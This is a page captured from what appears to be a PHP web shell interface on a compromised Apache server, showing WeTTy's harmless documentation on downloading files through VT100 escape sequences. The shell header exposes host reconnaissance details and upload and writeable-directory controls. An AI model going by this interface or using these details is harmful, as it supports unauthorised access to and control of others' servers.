Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/test/wetty/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/test/wetty/docs/downloading-files.md
# File Downloading

WeTTy supports file downloads by printing terminal escape sequences between a
base64 encoded file.

The terminal escape sequences used are `^[[5i` and `^[[4i` (VT100 for "enter
auto print" and "exit auto print" respectively -
https://vt100.net/docs/tp83/appendixc.html).

An example of a helper script that prints the terminal escape characters and
base64s stdin:

```bash
$ cat wetty-download.sh
#!/bin/sh
echo '^[[5i'$(cat /dev/stdin | base64)'^[[4i'
```

You are then able to download files via WeTTy!

```bash
$ cat my-pdf-file.pdf | ./wetty-download.sh
```

WeTTy will then issue a popup like the following that links to a local file
blob: `Download ready: file-20191015233654.pdf`

ZeroDay Forums Mini